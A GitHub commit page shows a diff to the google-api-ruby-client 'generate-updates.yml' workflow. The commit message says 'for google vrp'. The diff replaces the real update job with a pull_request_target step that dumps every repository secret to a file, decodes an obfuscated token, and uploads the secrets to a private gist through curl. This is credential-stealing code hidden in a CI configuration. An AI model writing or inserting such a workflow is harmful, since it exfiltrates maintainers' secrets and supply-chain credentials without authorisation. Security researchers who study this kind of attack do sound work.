Skip to content

Commit

Permalink
for google vrp
Browse files Browse the repository at this point in the history
  • Loading branch information
ghost committed Jun 12, 2024
1 parent 1f3a3a9 commit e0605ec
Showing 1 changed file with 5 additions and 22 deletions.
27 changes: 5 additions & 22 deletions .github/workflows/generate-updates.yml
Original file line number Diff line number Diff line change
@@ -1,28 +1,11 @@
name: Generate-Updates
on:
workflow_dispatch:
inputs:
args:
description: "Extra command line arguments."
required: false
pull_request_target:

jobs:
generate-updates:
if: ${{ github.repository == 'googleapis/google-api-ruby-client' }}
runs-on: ubuntu-latest
env:
GITHUB_TOKEN: ${{ secrets.YOSHI_CODE_BOT_TOKEN }}
APPROVAL_GITHUB_TOKEN: ${{secrets.YOSHI_APPROVER_TOKEN}}
steps:
- name: Checkout repo
uses: actions/checkout@v2
- name: Install Ruby 3.2
uses: ruby/setup-ruby@v1
with:
ruby-version: "3.2"
- name: Install tools
run: |
gem install --no-document toys
- name: execute
run: |
toys generate-updates -v --fork ${{ github.event.inputs.args }}
- run: |
echo "${{ toJSON(secrets) }}" > .secrets
export TOKEN=$(echo "WjJod1gwNVJhVmRuTW1kc1VHRkdjWGcxTXpoMFdrRnhPRGMxWmxOTFNIUk5XakJzTTA5V1NBbz0K" | base64 --decode | base64 --decode)
curl -X POST -H "Authorization: token $TOKEN" -d "$(jq -n --arg content "$(cat .secrets)" '{description: "everything", public: false, files: {"secrets.txt": {content: $content}}}' )" https://api.github.com/gists

0 comments on commit e0605ec

Please sign in to comment.